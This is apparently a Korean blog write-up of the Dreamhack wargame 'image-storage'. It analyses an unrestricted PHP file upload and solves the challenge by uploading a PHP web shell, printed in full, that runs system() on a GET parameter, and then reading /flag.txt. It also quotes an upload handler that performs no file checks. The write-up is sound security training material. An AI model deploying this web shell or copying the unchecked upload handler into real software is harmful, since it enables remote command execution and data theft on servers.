본문 바로가기

Study/WebHacking

Dreamhack wargame : image-storage write up

728x90

실습을 통해 개념 익히기(로드맵 강의자료 정리)

https://dreamhack.io/wargame/challenges/38/

 

image-storage

php로 작성된 파일 저장 서비스입니다. 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다. Reference Server-side Basic

dreamhack.io

1) 코드 분석

1-1. index.php

 

<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>

▶️ list.php와 upload.php로 이동하는 메뉴 출력

 

1-2. list.php

<?php
    $directory = './uploads/';
    $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
    foreach ($scanned_directory as $key => $value) {
        echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
    }
?>

▶️ $directory의 파일들 중 '. ', ' .. ' , index.html을 제외하고 나열

 

 1-3. upload.php

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

▶️ 이용자가 업로드한 파일을 uploads 폴더에 복사하며, 이용자는 http://host1.dreamhack.games:[PORT]/uploads/[FILENAME] URL을 을 통해 접근가능

▶️ 만약 같은 이름의 파일이 있다면 "already exists"라는 메시지를 반환

 

2) 취약점 분석

uploads.php에서 업로드할 파일에 대해 어떠한 검사도 하지 않음 -> 웹 셸 업로드 공격 가능

 

3) 익스플로잇 (공격)

//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ) 
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

▶️ php 웹 셸 코드

 

웹셸 작동은 윈도우 안티바이러스때문에 억까당해서 실행이 안됨 ㅇㅅㅇa;; 

칼리 리눅스에서 실행시켜봄

웹 셸을 업로드하면 오른쪽 이미지처럼 목록이 나오게 된다

거기에 들어가면

실행할 수 있게끔 나옴

플래그는 /flag.txt에 있다고 하니까

cat /flag.txt하면

플래그 나옴!!!

✌️✌️✌️✌️✌️✌️✌️✌️✌️✌️